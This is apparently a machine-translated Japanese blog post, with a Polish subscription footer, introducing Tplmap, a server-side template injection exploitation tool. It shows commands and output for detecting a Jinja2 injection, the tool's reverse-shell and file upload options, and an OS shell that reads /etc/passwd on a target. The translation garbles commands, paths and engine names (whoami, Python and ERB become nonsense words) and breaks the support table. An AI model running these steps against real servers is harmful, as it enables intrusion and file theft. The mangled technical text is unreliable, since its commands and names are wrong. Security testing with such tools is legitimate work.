Tplmap – テンプレートエンジンを識別して使用する

Tplmap

ユーザーが指定した値を持つテンプレートを使用して動的コンテンツを生成する Web ページの侵入テストを実行すると、サーバー側のテンプレートインジェクションの脆弱性が発生する可能性があります。 処理するテンプレート エンジンの手動識別とそれに続く悪用は、Tplmap ツールを使用して簡単に自動化できます。

Tplmap は、いくつかのタイプのテンプレートエンジンで SSTI を検出して使用できます。 ファイルシステムを参照したり、攻撃を受けたサーバー上でコマンドをリモートで実行したりするなどの機能があります。

$ ./tplmap.py -u 'http://www.target.com/page?name=John'
[+]Tplmap 0.5
    自動サーバー側テンプレートの挿入検出および活用ツール

[+]GET パラメータ 'name' が挿入可能かどうかをテストする
[+]Smartyプラグインはタグ'{*}' でレンダリングをテストしています
[+]Smartyプラグインはブラインド注射をテストしています
[+]Makoプラグインはタグ '${*}' でレンダリングをテストしています
...
[+]Jinja2 プラグインはタグ '{{*}' でレンダリングをテストしています
[+]Jinja2 プラグインはタグ '{{*}' でインジェクションを確認しました
[+]Tplmap は次の射出ポイントを特定しました:

GET パラメータ: 名前
  エンジン: ジンジャ2
  注射: {{*}}
  コンテキスト: テキスト
  OS: Linux
  テクニック: レンダリング
  資格:

シェルコマンドの実行: 約。
   バインドと逆のシェル:約。
   ファイルの書き込み: OK
   ファイルの読み取り: OK
   コード評価: OK、Python コード

[+]次のいずれかのオプションを指定して、tplmap を再実行します。

--os-shell ターゲットでシェルを実行する
    --os-cmd シェルコマンドを実行する
    --bind-shell PORT ターゲット ポートへのシェル バインドへの接続
    --リバースシェル HOST PORT 攻撃者のポートにシェルを送り返す
    --ローカルリモートアップロードファイルをサーバにアップロードする
    --リモートローカルダウンロードリモートファイル

ターゲットで疑似端末を実行するには 、--os-shell オプション を使用します。

$ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
[+]Tplmap 0.5
    自動サーバー側テンプレートの挿入検出および活用ツール

[+]オペレーティング システムでコマンドを実行します。

linux $ うわーみ
ウェブ
linux $ 猫 /etc/パスwd
ルート:/ルート:/ビン/バッシュ
デーモン:x:1:1:デーモン:/usr/sbin:/ビン/sh
ビン:x:2:2:ビン:/ビン:/ビン/sh

Tplmap は 15 を超えるテンプレートエンジンをサポートしています。

エンジンリモートコマンドの実行コード評価ファイルの読み取りファイルに書き込む
アオザメニシキヘビ
ジンジャ2ニシキヘビ
Python (コード評価)ニシキヘビ
竜巻ニシキヘビ
ヌンジュックス (ケンタッキー州)ジャワスクリプト
パグジャワスクリプト
ジャワスクリプト
マルコジャワスクリプト
Javaスクリプト (コードエバル)ジャワスクリプト
ほこり(<= [email protected])ジャワスクリプト
EJSジャワスクリプト
ルビー (コード評価)ルビー
ほっそりルビー
エルビウムルビー
スマート(安全でない)PHP
PHP (コード評価)PHP
小枝(<=1.19)PHP
フリーマーカー×
ベロシティ, 新しい×
小枝 (>1.19)×××××
スマート(セキュリティで保護)×××××
ダスト(>ダスト[email protected])×××××

Tplmap は作成者の github – tplmapで見つけることができます。

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

ブックマーク パーマリンク.

Podziel się swoją opinią na temat artykułu